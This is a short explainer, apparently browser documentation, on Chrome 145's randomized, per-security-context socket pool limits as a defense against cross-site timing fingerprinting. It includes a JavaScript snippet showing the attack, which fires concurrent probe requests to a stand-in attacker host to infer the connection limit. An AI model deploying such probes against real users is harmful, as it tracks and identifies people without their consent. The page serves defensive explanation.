v145 · Web APIs · Security Context

Security Context

How fixed TCP connection limits enabled cross-site timing fingerprinting, and how Chrome 145's randomized socket pool limits (5–8 connections) partitioned by top-level security context defeat the attack.

This change affects HTTP/1.1 connection handling. HTTP/2 and HTTP/3 multiplex requests over a single connection per origin, so socket pool limit randomization is a targeted defense for HTTP/1.1 legacy pools.
Interactive Socket Pool Simulator

Simulate concurrent HTTP/1.1 requests under different browser pooling models. Observe how fixed global pools leak batching boundaries while Chrome 145 partitions pools per security context with randomized limits.

Partition Pool: https://news.example
Ready. Select parameters and fire requests to observe socket allocation.

fingerprinting technique

// The attack: probe concurrent connection count to identify the browser
// An adversary controls a server and runs this in the victim's browser:

const N = 20;
const t0 = performance.now();

await Promise.all(Array.from({ length: N }, (_, i) =>
  fetch(`https://attacker.example/probe/${i}?t=${t0}`, { cache: 'no-store' })
));

// By measuring when each request completes at the server,
// the attacker can observe requests queueing in batches of exactly 6.
// Chrome 145 mitigation: limits are randomized (5–8) and partitioned
// by NetworkAnonymizationKey (NAK), destroying the fingerprint.

performance impact analysis

Protocol Impact of pool limit change Recommendation
HTTP/1.1 Slight variation in request batching. Typical page loads queue far fewer than 6 same-origin requests. Upgrade to HTTP/2 or HTTP/3 to eliminate the constraint entirely.
HTTP/2 No impact — single connection multiplexes all requests. No action needed.
HTTP/3 (QUIC) No impact — QUIC multiplexes streams without head-of-line blocking. No action needed.

references